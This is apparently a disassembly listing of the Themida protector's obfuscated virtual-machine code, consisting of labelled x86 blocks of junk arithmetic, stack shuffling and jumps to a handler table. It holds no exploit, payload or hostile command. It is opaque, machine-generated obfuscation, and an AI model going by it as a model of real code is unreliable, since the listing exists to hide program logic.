; ---------------------------------------------------------------------------


loc_560596:				; CODE XREF: Themida_:0056A8DBj
		mov	edx, [esp]
		add	esp, 4
		sub	bl, 14h
		jmp	loc_5688E9
; ---------------------------------------------------------------------------


loc_5605A4:				; CODE XREF: Themida_:0056D086j
		sub	esi, 1
		jmp	loc_565F51
; ---------------------------------------------------------------------------


loc_5605AC:				; CODE XREF: Themida_:0056D1A3j
		xchg	ebp, [esp]
		jmp	loc_56173E
; ---------------------------------------------------------------------------


loc_5605B4:				; CODE XREF: Themida_:005666CAj
		push	edx
		push	5CEBh
		mov	[esp], ecx
		push	1C65h
		mov	[esp], ebx
		mov	bh, 0EDh
		mov	ch, bh
		pop	ebx
		jmp	loc_5657E6
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	small 1ECFh
		mov	[esp], bx
		push	ecx
		jmp	loc_56FAF9
; ---------------------------------------------------------------------------


loc_5605E0:				; CODE XREF: Themida_:005696ADj
		pop	edx
		add	esp, 4
		add	ebx, 2
		push	ebx
		jmp	loc_56FEA5
; ---------------------------------------------------------------------------


loc_5605ED:				; CODE XREF: Themida_:00563984j
		push	esp
		pop	edx
		add	edx, 4
		push	esi
		push	ecx
		mov	ecx, 71FF053Fh
		jmp	loc_563D9C
; ---------------------------------------------------------------------------


loc_560601:				; CODE XREF: Themida_:005632FAj
		add	ebx, 381958E3h
		xor	edx, eax
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56060E:				; CODE XREF: Themida_:0056CE0Cj
		push	870h
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 28C136C9h
		xor	edi, 42DB55B3h
		and	edi, 76EB64D4h
		sub	edi, 620A604Ch
		jmp	loc_5730B7
; ---------------------------------------------------------------------------


loc_560635:				; CODE XREF: Themida_:0057324Dj
		mov	edi, esp
		add	edi, 4
		push	esi
		jmp	loc_56459F
; ---------------------------------------------------------------------------


loc_560643:				; CODE XREF: Themida_:0057312Ej
		push	ebx
		push	edi
		push	738E169Bh
		jmp	loc_569081
; ---------------------------------------------------------------------------


loc_56064F:				; CODE XREF: Themida_:0056206Bj
		sub	ebp, ecx
		jmp	loc_570D99
; ---------------------------------------------------------------------------


loc_560656:				; CODE XREF: Themida_:00565BA8j
		push	esi
		jmp	loc_5666E4
; ---------------------------------------------------------------------------


loc_56065C:				; CODE XREF: Themida_:0057023Cj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_562BB1
; ---------------------------------------------------------------------------


loc_560673:				; CODE XREF: Themida_:0056B6D6j
		shl	dl, 4
		jmp	loc_5646D2
; ---------------------------------------------------------------------------


loc_56067B:				; CODE XREF: Themida_:0056F416j
		add	esi, ecx
		pop	ecx
		jmp	loc_55FE72
; ---------------------------------------------------------------------------


loc_560683:				; CODE XREF: Themida_:005723F1j
		xor	ecx, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_560692:				; CODE XREF: Themida_:0056C093j
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 5B451B15h
		or	eax, 14A10F01h
		push	ebp
		mov	ebp, 0CA55A54h
		add	ebp, 286E0BCCh
		sub	eax, 5D886149h
		sub	eax, ebp
		add	eax, 5D886149h
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		shl	eax, 4
		jmp	loc_56BFD7
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 4F4D4F68h
		sub	eax, 22011BD4h
		sub	eax, ebx
		jmp	loc_5671EF
; ---------------------------------------------------------------------------


loc_5606F7:				; CODE XREF: Themida_:00565EAAj
		xor	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		push	48A15993h
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 157E5292h
		or	ecx, esi
		pop	esi
		neg	ecx
		sub	ecx, 69833AC4h
		push	ecx
		xor	dword ptr [esp], 0D244FC1h
		pop	edx
		xor	edx, 0D244FC1h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		jmp	loc_56F20B
; ---------------------------------------------------------------------------


loc_56073D:				; CODE XREF: Themida_:0056412Dj
		xchg	ch, bh
		not	ch
		xchg	ch, bh
		inc	bh
		xchg	ch, bh
		jmp	loc_56BE75
; ---------------------------------------------------------------------------


loc_56074C:				; CODE XREF: Themida_:00568FB7j
		mov	ecx, 3239481Fh
		sub	ecx, 188FE094h
		mov	esi, 4A22FE09h
		add	esi, ecx
		pop	ecx
		jmp	loc_56D70F
; ---------------------------------------------------------------------------


loc_560764:				; CODE XREF: Themida_:0056B888j
		sub	edi, 984EE6Ah
		jmp	loc_565B2F
; ---------------------------------------------------------------------------


loc_56076F:				; CODE XREF: Themida_:00573705j
		mov	[esp], ecx
		push	edx
		jmp	loc_570F65
; ---------------------------------------------------------------------------


loc_560778:				; CODE XREF: Themida_:0056FD0Ej
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		bts	[esp], ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_560793:				; CODE XREF: Themida_:0056D511j
		mov	eax, 648988DEh
		add	esi, eax
		pop	eax
		jmp	loc_56F6A1
; ---------------------------------------------------------------------------


loc_5607A0:				; CODE XREF: Themida_:00562B9Aj
		pop	eax
		jmp	loc_563D18
; ---------------------------------------------------------------------------


loc_5607A6:				; CODE XREF: Themida_:0057434Fj
		push	78CAh
		mov	[esp], edx
		mov	dl, 0C3h
		jmp	loc_571E1F
; ---------------------------------------------------------------------------


loc_5607B5:				; CODE XREF: Themida_:0056E546j
		dec	bl
		jmp	loc_5650B1
; ---------------------------------------------------------------------------


loc_5607BC:				; CODE XREF: Themida_:00560921j
		mov	ebx, 63426CEFh
		jmp	loc_573AED
; ---------------------------------------------------------------------------


loc_5607C6:				; CODE XREF: Themida_:00567BBBj
		and	eax, 390926D6h
		shl	eax, 8
		jmp	loc_560961
; ---------------------------------------------------------------------------


loc_5607D3:				; CODE XREF: Themida_:00565615j
		xor	edx, 0EFF0CFB6h
		jmp	loc_5706B0
; ---------------------------------------------------------------------------


loc_5607DE:				; CODE XREF: Themida_:00569976j
		pop	esp
		mov	[esp], edx
		jmp	loc_560DBD
; ---------------------------------------------------------------------------


loc_5607E7:				; CODE XREF: Themida_:0056B6BCj
		mov	bh, 42h
		jmp	loc_563BC1
; ---------------------------------------------------------------------------


loc_5607EE:				; CODE XREF: Themida_:005675BFj
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0F7h
		sub	esp, 4
		jmp	loc_56254B
; ---------------------------------------------------------------------------


loc_560804:				; CODE XREF: Themida_:005729EBj
		push	17B3h
		mov	[esp], edi
		push	348Bh
		mov	[esp], esi
		push	5F514E86h
		pop	esi
		inc	esi
		jmp	loc_56BE5C
; ---------------------------------------------------------------------------


loc_560820:				; CODE XREF: Themida_:0056EB10j
		add	ecx, 0E745CC94h
		sub	edi, 29981CC0h
		jmp	loc_573277
; ---------------------------------------------------------------------------


loc_560831:				; CODE XREF: Themida_:00561C7Aj
		push	ecx
		jmp	loc_56773D
; ---------------------------------------------------------------------------


loc_560837:				; CODE XREF: Themida_:00574344j
		push	esi
		jmp	loc_570F2A
; ---------------------------------------------------------------------------


loc_56083D:				; CODE XREF: Themida_:005624B3j
		xor	dl, 1Ah
		add	bl, dl
		pop	edx
		add	bl, 25h
		jmp	loc_56BB54
; ---------------------------------------------------------------------------


loc_56084B:				; CODE XREF: Themida_:00566B05j
		push	ecx
		jmp	loc_573F46
; ---------------------------------------------------------------------------


loc_560851:				; CODE XREF: Themida_:00564512j
		push	esp
		jmp	loc_57015F
; ---------------------------------------------------------------------------


loc_560857:				; CODE XREF: Themida_:00562C08j
		pop	esp
		pop	dword ptr [esp]
		xor	ebx, ecx
		xor	ecx, ebx
		xor	ebx, ecx
		not	ecx
		xor	ebx, ecx
		jmp	loc_571F24
; ---------------------------------------------------------------------------


loc_56086A:				; CODE XREF: Themida_:00572D39j
		sub	[esp], ax
		pushf
		jmp	loc_566B0A
; ---------------------------------------------------------------------------
		lodsb
		push	bx
		mov	bl, 9Fh
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 0C7h
		jmp	loc_573399
; ---------------------------------------------------------------------------


loc_560886:				; CODE XREF: Themida_:0056B206j
		pop	esi
		and	ecx, 29187BB2h
		xor	ecx, 4FFB2BB8h
		push	edx
		mov	edx, 18D0659Ah
		and	ecx, edx
		pop	edx
		xor	ecx, 58F02638h
		neg	ecx
		add	ecx, 582006B4h
		add	ebp, 315618BAh
		add	ebp, 637B4D73h
		add	ebp, ecx
		sub	ebp, 637B4D73h
		push	ecx
		push	eax
		push	edx
		mov	edx, 315618BAh
		mov	eax, edx
		pop	edx
		mov	ecx, eax
		pop	eax
		sub	ebp, ecx
		pop	ecx
		pop	ecx
		push	edx
		mov	edx, 3AB2EDAh
		sub	edx, 304B5CB2h
		jmp	loc_5642CC
; ---------------------------------------------------------------------------


loc_5608E1:				; CODE XREF: Themida_:005682BEj
		dec	ebx
		sub	ebx, 98E39BE4h
		jmp	loc_56DFD2
; ---------------------------------------------------------------------------


loc_5608ED:				; CODE XREF: Themida_:0056AA5Fj
		mov	ch, 9Ch
		sub	ch, 24h
		inc	ch
		dec	ch
		shr	ch, 8
		xor	ch, 4Eh
		sub	ch, 78h
		sub	bl, ch
		pop	ecx
		jmp	loc_573348
; ---------------------------------------------------------------------------


loc_560907:				; CODE XREF: Themida_:00561A78j
		sub	eax, edi
		pop	edi
		sub	edx, 2BD61EF9h
		add	edx, eax
		jmp	loc_569F24
; ---------------------------------------------------------------------------


loc_560917:				; CODE XREF: Themida_:0056D251j
		xor	edi, eax
		jmp	loc_56348B
; ---------------------------------------------------------------------------


loc_56091E:				; CODE XREF: Themida_:0056D12Bj
		neg	ebp
		push	ebx
		jmp	loc_5607BC
; ---------------------------------------------------------------------------


loc_560926:				; CODE XREF: Themida_:00563662j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56092B:				; CODE XREF: Themida_:005716DDj
		push	edx
		mov	edx, 55220C4Ch
		push	0DF508009h
		pop	ecx
		sub	ecx, edx
		pop	edx
		jmp	loc_573385
; ---------------------------------------------------------------------------


loc_56093F:				; CODE XREF: Themida_:00573E7Ej
		xor	eax, 0A0B3903Dh
		mov	ebx, eax
		pop	eax
		jmp	loc_570A6B
; ---------------------------------------------------------------------------
		push	2Bh
		mov	[esp], edx
		push	1
		push	dword ptr [esp]
		jmp	loc_563E9D
; ---------------------------------------------------------------------------


loc_560961:				; CODE XREF: Themida_:005607CEj
		sub	eax, 565245AAh
		xor	eax, 6B976F91h
		sub	eax, 459E8A39h
		jmp	loc_56434C
; ---------------------------------------------------------------------------


loc_560975:				; CODE XREF: Themida_:00567200j
		push	esi
		push	edx
		mov	edx, 39A04CE5h
		shr	edx, 3
		push	ecx
		push	174100DDh
		pop	ecx
		add	edx, ecx
		pop	ecx
		neg	edx
		and	edx, 721123D3h
		push	edi
		jmp	loc_56C95C
; ---------------------------------------------------------------------------


loc_560997:				; CODE XREF: Themida_:00563D97j
		sub	eax, 32CE62B2h
		pop	ecx
		push	6659h
		mov	[esp], ebp
		jmp	loc_561FF3
; ---------------------------------------------------------------------------


loc_5609AA:				; CODE XREF: Themida_:0056023Bj
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		or	eax, eax
		jz	loc_560A73
		push	dword ptr [edi+28h]
		xor	dword ptr [esp], 540521C7h
		pop	eax
		push	ebp
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		jmp	loc_56E7B2
; ---------------------------------------------------------------------------


loc_5609DC:				; CODE XREF: Themida_:00563CD8j
		pop	esi
		jmp	loc_56967E
; ---------------------------------------------------------------------------


loc_5609E2:				; CODE XREF: Themida_:00571B46j
		mov	[esp], esi
		mov	esi, 579A0F33h
		push	esi
		not	dword ptr [esp]
		jmp	loc_56D87F
; ---------------------------------------------------------------------------


loc_5609F3:				; CODE XREF: Themida_:005629A6j
		pop	ebp
		jmp	loc_55FF54
; ---------------------------------------------------------------------------


loc_5609F9:				; CODE XREF: Themida_:0056142Aj
		add	esi, ebx
		add	esi, 4E921959h
		sub	esi, 3A8C6CA4h
		mov	ebx, [esp]
		add	esp, 4
		push	6F10h
		jmp	loc_573B3C
; ---------------------------------------------------------------------------


loc_560A17:				; CODE XREF: Themida_:0056DFFCj
		pop	ecx
		push	edx
		mov	dl, al
		mov	bh, dl
		jmp	loc_561154
; ---------------------------------------------------------------------------


loc_560A22:				; CODE XREF: Themida_:00572E82j
		add	[esp+4], ebx
		jmp	loc_560FDF
; ---------------------------------------------------------------------------


loc_560A2B:				; CODE XREF: Themida_:0056BE13j
		movzx	cx, ah
		push	small 55DAh
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_571A8F
; ---------------------------------------------------------------------------


loc_560A40:				; CODE XREF: Themida_:00561EEEj
		sub	eax, ecx
		push	ebp
		mov	ebp, 13BA1C00h
		shl	ebp, 5
		or	ebp, 58910F90h
		xor	ebp, 3092D9F8h
		sub	eax, ebp
		pop	ebp
		jmp	loc_55FE39
; ---------------------------------------------------------------------------


loc_560A5F:				; CODE XREF: Themida_:0056DCD6j
		push	edi
		jmp	loc_56B693
; ---------------------------------------------------------------------------


loc_560A65:				; CODE XREF: Themida_:00562A5Dj
		or	ch, bl
		jmp	loc_572A79
; ---------------------------------------------------------------------------


loc_560A6C:				; CODE XREF: Themida_:0056AE78j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4


loc_560A73:				; CODE XREF: Themida_:005609B3j
					; Themida_:00570F50j
		push	dword ptr [edi+24h]
		push	11C4h
		jmp	loc_56C2BD
; ---------------------------------------------------------------------------


loc_560A80:				; CODE XREF: Themida_:00573BFAj
		add	esp, 4
		push	edx
		mov	edx, 325F2874h
		jmp	loc_56F5A3
; ---------------------------------------------------------------------------


loc_560A8E:				; CODE XREF: Themida_:0057216Ej
		shl	ebx, 7
		add	ebx, 18E14439h
		jmp	loc_562741
; ---------------------------------------------------------------------------


loc_560A9C:				; CODE XREF: Themida_:005679BBj
		mov	edi, 41075376h
		add	edi, 0FFFFFFFFh
		shr	edi, 2
		push	ebx
		mov	ebx, 0F183A82h
		jmp	loc_572CA9
; ---------------------------------------------------------------------------


loc_560AB5:				; CODE XREF: Themida_:005627BAj
		pop	eax
		pop	ebx
		not	ebx
		push	eax
		push	ebx
		pop	eax
		pop	ebx
		jmp	loc_56CFAB
; ---------------------------------------------------------------------------


loc_560AC2:				; CODE XREF: Themida_:0056D2EBj
		sub	edx, esi
		pop	esi
		add	ebp, edx
		pop	edx
		add	ebp, 1
		push	726Dh
		mov	[esp], eax
		mov	eax, 38E86BEDh
		xor	eax, 56A786F3h
		sub	ebp, eax
		pop	eax
		mov	edi, ebp
		mov	ebp, [esp]
		jmp	loc_5663E8
; ---------------------------------------------------------------------------


loc_560AEA:				; CODE XREF: Themida_:0056F6DEj
		inc	ecx
		xor	ecx, 0FA4296A3h
		sub	ebp, 3A2D3C83h
		add	ebp, ecx
		push	ebx
		mov	ebx, 1D294188h
		jmp	loc_57409B
; ---------------------------------------------------------------------------


loc_560B04:				; CODE XREF: Themida_:00560B5Cj
		pop	ecx
		pop	eax
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		push	52D0h
		jmp	loc_56811E
; ---------------------------------------------------------------------------


loc_560B18:				; CODE XREF: Themida_:00563377j
		mov	ecx, 779177ADh
		jmp	loc_571F74
; ---------------------------------------------------------------------------


loc_560B22:				; CODE XREF: Themida_:00564E3Dj
		pop	esi
		jmp	loc_567C89
; ---------------------------------------------------------------------------


loc_560B28:				; CODE XREF: Themida_:0056888Cj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	ecx, 7F73768h
		neg	ecx
		jmp	loc_57476C
; ---------------------------------------------------------------------------


loc_560B41:				; CODE XREF: Themida_:00568A4Fj
		mov	[esp], ebp
		jmp	loc_573A98
; ---------------------------------------------------------------------------


loc_560B49:				; CODE XREF: Themida_:005718E0j
		mov	[esp], eax
		push	edx
		mov	dh, 37h
		mov	al, 0BCh
		add	al, dh
		pop	edx
		add	bl, al
		pop	eax
		push	ecx
		mov	ch, 76h
		add	bl, ch
		jmp	loc_560B04
; ---------------------------------------------------------------------------


loc_560B61:				; CODE XREF: Themida_:005623C8j
		mov	ebp, 0DB5158Dh
		xor	ebp, 0DB51589h
		sub	esi, 35A827ECh
		sub	esi, 1CD2BEAh
		add	esi, ebp
		add	esi, 1CD2BEAh
		push	ecx
		mov	ecx, 38A0027Bh
		push	esi
		mov	esi, 333B2038h
		shl	esi, 2
		or	esi, 224B7EC0h
		shr	esi, 8
		dec	esi
		jmp	loc_57293C
; ---------------------------------------------------------------------------


loc_560B9E:				; CODE XREF: Themida_:0056C457j
		sub	eax, 4
		push	eax
		jmp	loc_560362
; ---------------------------------------------------------------------------


loc_560BA9:				; CODE XREF: Themida_:0056EBB2j
		shr	ebp, 6
		push	2ADAh
		jmp	loc_57039C
; ---------------------------------------------------------------------------


loc_560BB6:				; CODE XREF: Themida_:00570770j
		add	esp, 4
		add	esp, 4
		push	esi
		push	ebx
		jmp	loc_561521
; ---------------------------------------------------------------------------


loc_560BC3:				; CODE XREF: Themida_:005697B2j
		mov	esp, [esp]
		pop	edx
		sub	edx, 2A88376Eh
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_560BD2:				; CODE XREF: Themida_:00560F75j
		add	al, bl
		mov	bx, [esp]
		add	esp, 2
		add	bl, 53h
		jmp	loc_57017B
; ---------------------------------------------------------------------------


loc_560BE3:				; CODE XREF: Themida_:00561B8Aj
		mov	ecx, 5A463110h
		add	ecx, 3B442B3h
		add	eax, ecx
		pop	ecx
		mov	edx, eax
		pop	eax
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		push	small word ptr [eax]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_560C03:				; CODE XREF: Themida_:00562187j
		xor	ebx, eax
		jmp	loc_568C0D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		jmp	loc_57365A
; ---------------------------------------------------------------------------


loc_560C2F:				; CODE XREF: Themida_:0056225Bj
		pop	ecx
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_56B388
; ---------------------------------------------------------------------------


loc_560C3A:				; CODE XREF: Themida_:00565853j
		pop	edi
		push	7AD4h
		mov	[esp], ebx
		push	esp
		jmp	loc_56702C
; ---------------------------------------------------------------------------


loc_560C49:				; CODE XREF: Themida_:0057243Dj
		pop	eax
		sub	al, 93h
		add	al, cl
		add	al, 93h
		pop	ecx
		push	small 1F2Ah
		mov	[esp], ax
		push	edx
		mov	dh, 9Eh
		push	ebx
		push	ecx
		jmp	loc_56575B
; ---------------------------------------------------------------------------


loc_560C63:				; CODE XREF: Themida_:00561E8Cj
		sub	edi, ebp
		push	eax
		mov	eax, 24B8205Ch
		push	ecx
		mov	ecx, 0D517551h
		shl	ecx, 7
		jmp	loc_573FEA
; ---------------------------------------------------------------------------


loc_560C79:				; CODE XREF: Themida_:00560F33j
		mov	ecx, ebp
		pop	ebp
		mov	esi, ecx
		pop	ecx
		shl	esi, 8
		add	esi, 0B88ADE03h
		xor	[esp+4], esi
		jmp	loc_56EC4D
; ---------------------------------------------------------------------------


loc_560C91:				; CODE XREF: Themida_:0057453Bj
		shr	edx, 1
		shl	edx, 4
		push	eax
		jmp	loc_55FEE0
; ---------------------------------------------------------------------------


loc_560C9C:				; CODE XREF: Themida_:005678F5j
		xor	eax, ecx
		pop	ecx
		movzx	ax, byte ptr [eax]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		sub	esi, ebx
		pop	ebx
		jmp	loc_5689AF
; ---------------------------------------------------------------------------


loc_560CBA:				; CODE XREF: Themida_:0056BD12j
		add	esp, 4
		jmp	loc_566637
; ---------------------------------------------------------------------------


loc_560CC5:				; CODE XREF: Themida_:00572C7Ej
		and	eax, 4260231h
		shl	eax, 8
		jmp	loc_55FF6E
; ---------------------------------------------------------------------------


loc_560CD2:				; CODE XREF: Themida_:0056E138j
		mov	edx, 4
		sub	ebx, edx
		jmp	loc_56F692
; ---------------------------------------------------------------------------


loc_560CDE:				; CODE XREF: Themida_:0056342Fj
		pop	edx
		and	edi, 5441129Eh
		xor	edi, 16C800ADh
		shl	edi, 1
		sub	edi, 2D922176h
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_57477A
; ---------------------------------------------------------------------------


loc_560CFD:				; CODE XREF: Themida_:00571ABAj
		push	2248h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_570823
; ---------------------------------------------------------------------------


loc_560D1A:				; CODE XREF: Themida_:0056DF1Cj
		push	ebp
		push	eax
		push	299507BBh
		jmp	loc_571D8E
; ---------------------------------------------------------------------------


loc_560D26:				; CODE XREF: Themida_:00571678j
		not	dl
		sub	dl, 39h
		sub	dl, 0A1h
		not	dl
		sub	esp, 4
		mov	[esp], ebx
		push	10E1h
		mov	[esp], edx
		mov	dl, 0DAh
		jmp	loc_573988
; ---------------------------------------------------------------------------
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_560D4A:				; CODE XREF: Themida_:0056E513j
		shl	cx, 7
		push	cx
		inc	word ptr [esp]
		pop	cx
		neg	cx
		jmp	loc_56E276
; ---------------------------------------------------------------------------


loc_560D5E:				; CODE XREF: Themida_:0056E5AEj
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	5D40298Ch
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, 1
		add	esi, 0C8D6BC6h
		add	esi, ebx
		sub	esi, 0C8D6BC6h
		pop	ebx
		shl	esi, 6
		push	7D39h
		mov	[esp], ebx
		push	edx
		mov	edx, 17E7327Ch
		shr	edx, 8
		sub	edx, 1BC40B70h
		jmp	loc_5708C4
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_565B00
; ---------------------------------------------------------------------------


loc_560DBD:				; CODE XREF: Themida_:005607E2j
		mov	edx, 6E497278h
		add	eax, 3C1E6750h
		push	edx
		mov	edx, 68827FBDh
		sub	eax, edx
		pop	edx
		sub	eax, edx
		add	eax, 68827FBDh
		sub	eax, 3C1E6750h
		pop	edx
		push	36A3h
		mov	[esp], ebx
		jmp	loc_56A0BD
; ---------------------------------------------------------------------------


loc_560DEA:				; CODE XREF: Themida_:00561F9Ej
		mov	edi, 10E57A4Bh
		not	edi
		not	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2D57F46h
		or	ebp, 7EF337EBh
		inc	ebp
		push	ebp
		jmp	loc_55F85D
; ---------------------------------------------------------------------------


loc_560E0E:				; CODE XREF: Themida_:0056837Aj
		xchg	ebx, [esp]
		pop	esp
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_571668
; ---------------------------------------------------------------------------


loc_560E2B:				; CODE XREF: Themida_:0056CDD8j
		add	edi, 4
		jmp	loc_563306
; ---------------------------------------------------------------------------


loc_560E36:				; CODE XREF: Themida_:00565334j
		xchg	eax, [esp]
		jmp	loc_563AD8
; ---------------------------------------------------------------------------


loc_560E3E:				; CODE XREF: Themida_:0056367Cj
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_56C4DA
; ---------------------------------------------------------------------------


loc_560E49:				; CODE XREF: Themida_:00566679j
		push	7F38h
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		jmp	loc_573A13
; ---------------------------------------------------------------------------


loc_560E59:				; CODE XREF: Themida_:0056CB0Fj
		neg	ecx
		sub	ecx, 3C5121E1h
		push	edx
		mov	edx, 0C7F3262h
		dec	edx
		jmp	loc_56024B
; ---------------------------------------------------------------------------


loc_560E6D:				; CODE XREF: Themida_:0056843Cj
		push	esi
		mov	esi, 51B622ABh
		neg	esi
		dec	esi
		shl	esi, 7
		jmp	loc_56E981
; ---------------------------------------------------------------------------


loc_560E7E:				; CODE XREF: Themida_:005699F5j
		push	ecx
		push	ebp
		jmp	loc_56211F
; ---------------------------------------------------------------------------


loc_560E85:				; CODE XREF: Themida_:005637E4j
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		push	70E0h
		jmp	loc_56C05B
; ---------------------------------------------------------------------------


loc_560E99:				; CODE XREF: Themida_:0056286Dj
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 353E6BEFh
		add	ebx, ebp
		pop	ebp
		jmp	loc_569ED7
; ---------------------------------------------------------------------------


loc_560EAF:				; CODE XREF: Themida_:00568498j
		or	ebp, 926638Bh
		jmp	loc_56C369
; ---------------------------------------------------------------------------


loc_560EBA:				; CODE XREF: Themida_:0057473Bj
		sub	edi, ecx
		pop	ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_566712
; ---------------------------------------------------------------------------


loc_560ECC:				; CODE XREF: Themida_:0056EA0Ej
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5614AD
; ---------------------------------------------------------------------------


loc_560EE0:				; CODE XREF: Themida_:00564C77j
		push	24h
		mov	ebp, [esp]
		jmp	loc_571D3B
; ---------------------------------------------------------------------------


loc_560EED:				; CODE XREF: Themida_:0056575Dj
		mov	bl, ch
		pop	ecx
		push	edx
		jmp	loc_56E154
; ---------------------------------------------------------------------------


loc_560EF6:				; CODE XREF: Themida_:005604B6j
		push	38EEh
		mov	[esp], edi
		jmp	loc_561556
; ---------------------------------------------------------------------------


loc_560F03:				; CODE XREF: Themida_:0056A387j
		push	edi
		mov	edi, 4219331Ah
		xor	edi, 162F3FFCh
		add	esi, edi
		pop	edi
		push	ecx
		mov	ecx, 0
		jmp	loc_57256E
; ---------------------------------------------------------------------------


loc_560F1D:				; CODE XREF: Themida_:00563486j
		push	5E75h
		mov	[esp], esi
		push	68CCh
		mov	[esp], ecx
		push	ebp
		mov	ebp, 3884428Fh
		jmp	loc_560C79
; ---------------------------------------------------------------------------


loc_560F38:				; CODE XREF: Themida_:00568252j
		mov	eax, 0E742CF79h
		jmp	loc_569D0E
; ---------------------------------------------------------------------------


loc_560F42:				; CODE XREF: Themida_:0056F9EAj
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_5682A8
; ---------------------------------------------------------------------------


loc_560F4F:				; CODE XREF: Themida_:0056AAD8j
		pop	edi
		push	ebp
		mov	ebp, 2EFC60AAh
		xor	ebx, ebp
		pop	ebp
		xor	esi, ebx
		jmp	loc_56C6F9
; ---------------------------------------------------------------------------


loc_560F60:				; CODE XREF: Themida_:005628D3j
		push	8F6h
		mov	[esp], eax
		jmp	loc_56684D
; ---------------------------------------------------------------------------


loc_560F6D:				; CODE XREF: Themida_:00562CC4j
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_560BD2
; ---------------------------------------------------------------------------


loc_560F7A:				; CODE XREF: Themida_:00565756j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_563B88
; ---------------------------------------------------------------------------


loc_560F90:				; CODE XREF: Themida_:0055F8B7j
		mov	eax, 6E8B7BC5h
		sub	edx, eax
		pop	eax
		pop	ecx
		add	esi, 74591C21h
		jmp	loc_561AA7
; ---------------------------------------------------------------------------


loc_560FA4:				; CODE XREF: Themida_:005735D5j
		mov	ecx, [esp]
		add	esp, 4
		push	64F1h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_565BA7
; ---------------------------------------------------------------------------


loc_560FCD:				; CODE XREF: Themida_:00572322j
		and	eax, 190A1564h
		add	eax, 0FFFDFFC2h
		add	ecx, eax
		pop	eax
		jmp	loc_56915A
; ---------------------------------------------------------------------------


loc_560FDF:				; CODE XREF: Themida_:00560A26j
		pop	ebx
		pop	eax
		jmp	loc_5666A8
; ---------------------------------------------------------------------------


loc_560FE6:				; CODE XREF: Themida_:0056B1C2j
		sub	ebx, 1
		push	ebx
		xor	[esp], ecx
		jmp	loc_57174F
; ---------------------------------------------------------------------------


loc_560FF2:				; CODE XREF: Themida_:0057033Fj
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		xor	bl, al
		push	ebx
		push	67EEh
		mov	[esp], esi
		mov	esi, 188472Eh
		jmp	loc_570C86
; ---------------------------------------------------------------------------


loc_561021:				; CODE XREF: Themida_:00571CE0j
		pop	ecx
		inc	ecx
		jmp	loc_56026F
; ---------------------------------------------------------------------------


loc_561028:				; CODE XREF: Themida_:0057211Cj
		or	cl, ah
		jmp	loc_56829F
; ---------------------------------------------------------------------------


loc_56102F:				; CODE XREF: Themida_:0056FCF2j
